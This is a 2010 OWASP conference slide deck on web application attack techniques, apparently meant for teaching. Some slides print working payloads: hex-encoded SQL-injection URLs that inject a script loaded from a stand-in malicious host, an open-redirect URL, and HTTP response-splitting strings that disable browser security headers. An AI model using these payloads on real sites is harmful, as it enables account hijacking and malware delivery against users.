OWASP App Sec US Presentation - University of California - Irvine

1. Bug-Alcoholic 2.0 - Untamed
World of Web Vulnerabilities
Aditya K Sood
SecNiche Security Labs
Sr. Security Practitioner,
Armorize
OWASP adi_ks [at] secniche.org
AppSec 2010, University of California
Irvine, CA, USA
Copyright © The OWASP Foundation
September 10, 2010 Permission is granted to copy, distribute and/or modify this document
under the terms of the OWASP License.
The OWASP Foundation
http://www.owasp.org

2. Disclaimer
 All contents of this presentation represent my own beliefs and views and do not,
unless explicitly stated otherwise, represent the beliefs of my current, or any of my
previous in that effect, employers.
Dependency
 Web penetration testing plays a critical role in assessing the applied security.
 Vulnerabilities in deployed products matter a lot.
 Testing output depends on exploitation of existing issues and discovering flaws.
 Attack classification remains same but modus operandi of attack varies
 Testing requires creation of attack surface.
OWASP 2

3. About Me
 Founder , SECNICHE Security Labs.
 http://www.secniche.org
 PhD Candidate at Michigan State University.
 Senior Security Practitioner , Armorize
 http://www.armorize.com
 Worked previously for COSEINC as Senior Security Researcher and Security
Consultant for KPMG
 Author for HITB E-Zine, Hakin9 ,ELSEVIER, USENIX Journals.
 Likes to do Bug Hunting and Malware dissection.
 Released Advisories to Forefront Companies.
 Active Speaker at Security Conferences including RSA etc.
 Blog: http://zeroknock.blogspot.com
OWASP 3

4. Notification
All the vulnerabilities discussed in this talk are in the process of
patching.
This discussion is all about understanding the attack methods and
using them further in a real time environment.
All for learning and education purposes.
OWASP 4

5. Agenda
Web 2.0 – Walkthrough
 Web 2.0 – The real world
 Web 2.0 trends ( vulnerability classification, browsers state)
 Web 2.0 – Exploitation shift
 Web Application Security is not a separate component !
Web Vulnerability Hunting(Exemplary)
– Cross Interface Attacks (CIA) / attacking backend login consoles /
– SQLXSSI – Fusion { XSS, SQL } / XSS payload in SQL parameters /
– Document rendering attacks / exploiting content transformation /
– Web widgets interface flaws / testing mini web play ground/
– Persistent redirection attacks /exploiting logout modules/
– Declarative security manipulation / tampering browsers/
– Insecure Content inclusion / exploitation by behavior /
Conclusion
OWASP 5

6. Web 2.0 – The Present World
Components in real world
OWASP 6

7. Web Trends – Incidents Classification
Top Web incidents/trends of 2009 /predictions for 2010
© stats by Breach
OWASP 7

8. Web Trends – Vulnerability Classes
Web vulnerability classification - 2009
© website stats by Cenzic
OWASP 8

9. Web Trends – Exploited Browsers
Web vulnerability classification - 2009
© stats by Cenzic
OWASP 9

10. Web 2.0 – Exploitation Shift
Why ?
 System vulnerabilities are getting harder to exploit
 Web 2.0 service platforms
 Client side exploitation – easy control through browsers
 Origin of Web as a service standard
 Increased business dependency on web 2.0
 Centralized platform for content sharing from different
resources
 Online social networking
 Wider window of exploitation through web
 Information gathering about targets is easy on web
OWASP 10

11. Web Application – Security Is Not
Separate !
Robust Web Application
Development
Design
Security
Privacy
Reliability
OWASP 11

12. Web Application Vulnerability Hunting
Pillars
 Design and Development
 Attack and Exploitation
 Patching and Rebuilding
OWASP 12

13. Cross Interface Attacks (CIA)
 Hardware devices using admin interfaces.
 Admin interfaces : { Web, FTP, Telnet}
 Do we require all admin interfaces ?
 If web admin is allowed, so what about backend consoles!
 Is URL restriction a good practice?
 Is it advantageous to have backend consoles?
 Does access control serves well?
 CIA targets FTP/Telnet admin consoles.
 Step by step developing an attack surface.
Hardware devices – firewalls, disk stations,
management systems etc
OWASP 13

14. Cross Interface Attacks (CIA)
 Attack base and considerations
 Presence of FTP/Telnet admin login console
 Hardware appliances have default error logging mechanism
 Log interfaces are served in HTML without filtering
 A bad design practice from security point of view
 Protocol such as FTP/Telnet default nature helps in
information gathering
 FTP Truth
Collective username and password authentication
 Followed to avoid enumeration of user accounts
 No check on login attempts. No check on characters.
 Usually, accessible widely.
– Do you think access control is required?
OWASP 14

15. Cross Interface Attacks (CIA)
Attacking and testing
 Gathering information about allowed characters
 No aim to get authenticated
– FTP 530 Login Incorrect is what we require.
 Malicious payloads are used as username and password
– Injections / Scripts / Iframes / DOM Calls / Persistent Payloads
– Inject what ever you want !
– Good point for triggering CSRF attacks
 Of-course , Authentication failure. Error gets logged.
 Payloads become persistent. It can be reflective.
 Bad design practice – Unencoded / Unfiltered HTML
rendering
– Inappropriate web logging mechanism
 Viola ! Something happens.
OWASP 15

16. Cross Interface Attacks (CIA)
Scrutinizing default buffer
 To determine the number of characters that are allowed
 Supplying excess of buffer in FTP_USER_NAME input
 FTP_PASS_WORD reflects the allowed FTP_USER_NAME
 Injection points – {FTP_USER_NAME , FTP_PASS_WORD}
OWASP 16

17. Cross Interface Attacks (CIA)
Injecting payloads
 Supplying payloads as credentials
 Input points – {FTP_USER_NAME , FTP_PASS_WORD}
OWASP 17

18. Cross Interface Attacks (CIA)
What else?
 Anything
 Irrespective of user’s environment { OS /Browser etc }
OWASP 18

19. SQLXSSI: Fusion {XSS , SQLI}
Differential attack surface
 How far we can go in using the standard vulnerabilities?
 How many different ways of exploitation can be developed?
 Why not fusing one vulnerability into another ?
 Its’ all about game of payloads
Triggering XSS through SQL Injection
 All types of XSS possibilities
 Verbose SQLI vulnerability is the base
 Errors with truncated SQL queries with parameters
 XSS payloads injected in SQL parameters
 Obfuscating payloads
 Basically, an XSS injection using database semantics
 Reflective in nature
OWASP 19

20. SQLXSSI: Fusion {XSS , SQLI}
Generalized pattern
 <script>alert(document.cookie)</script> =
0x3c7363726970743e616c65727428646f63756d656e742e636f6f6b6965293c2f736
3726970743e
http://vulnerable.com/web_page/index.php?
id=1and(select1from(selectcount(*),concat(0x3c7363726970743e616c657274282f7363686170
2f293c2f7363726970743e,floor(rand(0)*2)) x from table-name groupby x)a)
 <script src="http://wwww.malicious.org/ex.js" />=
3c736372697074207372633d22687474703a2f2f777777772e6d616c6963696f75732
e6f72672f65782e6a7322202f3e
http://vulnerable.com/web_page/index.php?id=1and(select1from(selectcount(*),concat(0x
3c736372697074207372633d22687474703a2f2f777777772e6d616c6963696f75732e6f72672f
65782e6a7322202f3e,floor(rand(0)*2)) x from table-name groupby x)a)
OWASP 20

21. SQLXSSI: Fusion {XSS , SQLI} – Example
(1)
Error gets rendered in browser
OWASP 21

22. SQLXSSI: Fusion {XSS , SQLI} – Example
(2)
Injected XSS Payload in SQL
parameter
OWASP 22

23. SQLXSSI: Fusion {XSS , SQLI} – Example
(3)
Injected payload starts
downloading malicious XLS file OWASP 23

24. SQLXSSI: Fusion {XSS , SQLI} – Example
(4)
Image with malicious request is
injected OWASP 24

25. SQLXSSI: Fusion {XSS , SQLI}
Real world!
 Websites are getting more susceptible to these issues
 Vulnerability ratio exceeds to 1:2
Thanks to RB (1337) (http://www.schap.org) for initiating this type of attack surface
So what !
 One vulnerability can lead to another. Testing is inadvertent.
 SQLI can be used in a differential manner
 Advanced step in conducting XSS through SQLI
 Database design matters
OWASP 25

26. Document Rendering Attacks
Concept
 Inability of existing filters used for content transformation
 Inappropriate design of web applications
 Mistake – using browser as editors for content rendering
 Do you want to upload you resume in MSWord?
Attack vector
 Setting payloads as inline URL links in the Office
documents
 Document is required to be viewed. Preview properties.
 Persistent in nature primarily. User interaction is required.
 MSWord, PowerPoint etc all work well depending on the web
application
Bypassing XSS filters through Office documents
http://www.secniche.org/papers/SNS_09_01_Evad_Xss_Filter_Msword.pdf
OWASP 26

27. Document Rendering Attacks
Payload is injected as Hyperlink OWASP 27

28. Document Rendering Attacks
The document is edited in the
enterprise web application
OWASP 28

29. Document Rendering Attacks
Exploited
OWASP 29

30. Document Rendering Attacks
Case Study
XML based authoring flaws
 Vulnerability reported in SCRIBD platform in 2009
 Reported and patched
 Scribd failed to implement a filter on payload set in protocol
handlers
 Links directly injected and converted to XML
 Lastly, compiled and displayed in flash player
IPaper Platform XML based Link Authoring Flaw – Scribd
http://coseinc.com/en/index.php?
rt=download&act=publication&file=design_inaccuracy_inside_ipaper_framework.pdf
OWASP 30

31. XML Authoring Flaw – Case Study
XML working model
OWASP 31

32. XML Authoring Flaw – Case Study
(Example)
OWASP 32

33. Web Widget Interface Flaws
What lies beneath?
Web widget
 A snippet of HTML code embedded in the website. You can
"copy" that code and "embed" in your web page
 Gadget is proprietary where as widget is freely available
 Diverse functionalities – advertisements, traffic analysis , news,
feeds , etc
Web widget code snippets
 JavaScript
 Adobe Flash plugins
 Code for embedding Windows Media player
 Silverlight plugins
OWASP 33

34. Web Widget Interface Flaws
Insecurities
Code specification issues
 A widget or gadget can be designed insecurely
 HTTP parameters play a crucial role in working
 Arbitrary code execution in OS – Scripting interface
 Unsanitized, unfiltered, unverified data acceptability
Interface with websites and triggering vulnerabilities
 Understanding the design of widget
 Widget interface with the primary website and how it works
 Registered widget and domain names in database can cause
security problems in the base website
OWASP 34

35. Web Widget Interface Flaws
Web widget working layout
The model looks simplistic in nature.
OWASP 35

36. Web Widget Interface Flaws
Case Study
Real time issue in one of most recognized vendor
– The website is a leading service provider for news and
advertisements
– The widget is allowed to install on any custom blog or user
website after the registration process. The widget code is
changed based on the platform such as blogger , MySpace etc
– Once the registration is done, the widget snippet is provided to
the user or customer for inclusion in his/her website
– Now the content provider has a URL which redirects traffic from
the primary website to the registered blog.
 A very bad design practice.
OWASP 36

37. Web Widget Interface Flaws
Attack scenario
Details
» Attacker registers his malicious blog with that content
provider
» Once it is registered, the widget is allowed to be included in
the attacker controlled website
» Attacker starts using the content provider link to redirect
traffic to his blog and making victims vulnerable.
OWASP 37

38. Persistent Redirection Attacks
HTTP Redirection
 Automated redirection
 What If attacker controls
 More effective – if persistent
OWASP 38

39. Persistent Redirect Attacks
Manipulating Logout Module
Details
» Enterprise application inbuilt functionality to provide a pre
login parameter for inline redirection back to application
OWASP home page while logging out of the application
2010 » Careful analysis and design scrutinization helps tester to find
parameters which provide a persistent state to set your value
A9 » The application does not verifies the value provided in the
redirect variable while logging into the application
» Another variation of login redirection attacks, this one is
logout redirection attacks
HackintheBox (HITB) EZine – Open Redirect Wreck Off Paper
http://magazine.hackinthebox.org/issues/HITB-Ezine-Issue-002.pdf
OWASP 39

40. Persistent Redirection Attacks
Manipulating Logout Module
Layout
– Vulnerability at disclosed to one of the biggest vendor
– Successfully exploited and triggered in a large number of
applications
https://www.example.com/XXX_YYYY/ret.jsp?
_pc=STANDARD_WEB_PAGE_STAT&_pi=1800&kk_home_url=http://www.malic
ious.org
– When a above stated URL is used to login into application, the
value of kk_home_url variable becomes persisted.
OWASP 40

41. Declarative Security Manipulation
Concept
Operation - Idea
– The declarative model provides an extensible set of security
parameters in the HTTP responses
– Browsers can respond with a requested security mechanism
– Declared by the developer as part of the web server or application
running on the server. In this way, declarative security can
provide both a portable and flexible security defense
Why declarative security in http response headers
– ClickJacking attacks
– XSS filtering issues
– File downloading security
– HTML content rendering
OWASP 41

42. Declarative Security Manipulation
HTTP response headers
 Clickjacking
– X-FRAME-OPTIONS {SAMEORIGIN / DENY}
» Don’t allow the website to be framed
» Browser automatically escape the framing
– X-XSS-PROTECTION { 0 – Disable| 1- Enable}
» Triggers inbuilt IE XSS protection
» Nothing much to say about its insecurity
– X-CONTENT-TYPE-OPERATIONS{ NOSNIFF}
» Preventing script execution through images
» Secure MIME interpretation
– X-DOWNLOAD-OPTIONS{ NOOPEN}
» Disallowing opening of files on internet
Applied as HTTP response headers– HTTP response splitting
attacks work appropriately ( %0d%0a)
OWASP 42

43. Declarative Security - Study
Generic attack styles
http://www.vulnerable.com/tamper.pl?url=temp1%3dparam1;%0d%0aX-XSS-Protection:0
%0d%0a%0d%0a<html><body><script>alert(‘0wned')</script></body></html>
http://www.vulnerable.com/tamper.pl?url=temp1%3dparam1;%0d%0aX-Download-Open:
%0d%0a%0d%0a<html><body><script>alert(‘0wned')</script></body></html>
http://www.vulnerable.com/tamper.pl?url=temp1%3dparam1;%0d%0aX-Frame-Options:0 [No
value] %0d%0a%0d%0a<html><body><script>alert(‘0wned')</script></body></html>
http://www.vulnerable.com/tamper.pl?url=temp1%3dparam1;%0d%0aX-Content-Type-
Options:[no Value] %0d%0a%0d
%0a<html><body><script>alert(‘0wned')</script></body></html>
Provide any falisfied value to bedazzle the real working of security component in a
browser.
OWASP 43

44. Declarative Security - Study
Feasibility study
 Implementation of DS in real world
 To understand the scenario
 To understand the adaptability
 To estimate the risk to websites
Paper released at Usenix CollSec (Collaborative Methods of Security and
Privacy ) :http://www.usenix.org/events/collsec10/tech/full_papers/Sood.pdf
OWASP 44

45. Declarative Security - Study
Feasibility study
 Alex top 1000 website responses
 Google’s GWS implements the most
Paper released at Usenix CollSec (Collaborative Methods of Security and
Privacy ) :http://www.usenix.org/events/collsec10/tech/full_papers/Sood.pdf
OWASP 45

46. Content Delivery Networks – Stringency
Content from third party
 Online advertisements
 Video streaming content
 Windows Media files (MP4, MP3) /Quick time
 Embedded Flash files
 Inline frames used for rendering contents
 EMBED / OBJECT/ FRAME – HTML/DOM supporting
elements
OWASP 46

47. Content Delivery Networks – Stringency
Web 2.0 requirement
OWASP 47

48. Content Delivery Networks – Stringency
 Example – A malicious media player file can infect victims with
malware once included from third party content network
 Easy to bypass filter
Setting the Payload
Payload bypasses XSS filter and starts
downloading XLS file
OWASP 48

49. WWW Vulnerabilities - Circle
Testing and Evolving complex
Strengthening Technology
Efficient Hacks Complex Flaws
OWASP 49

50. Conclusion
Attacks on web infrastructure are increasing
More complexity more problems
Security is a process and not a one time shot
Design according to requirement
Test appropriately
OWASP 50

51. Questions and Knowledge Sharing
OWASP 51

52. Demonstrations - Available If Required
Shared on Individual Front.
OWASP 52

53. Thanks
OWASP (http://www.owasp.org )
SecNiche Security (http://www.secniche.org )
OWASP 53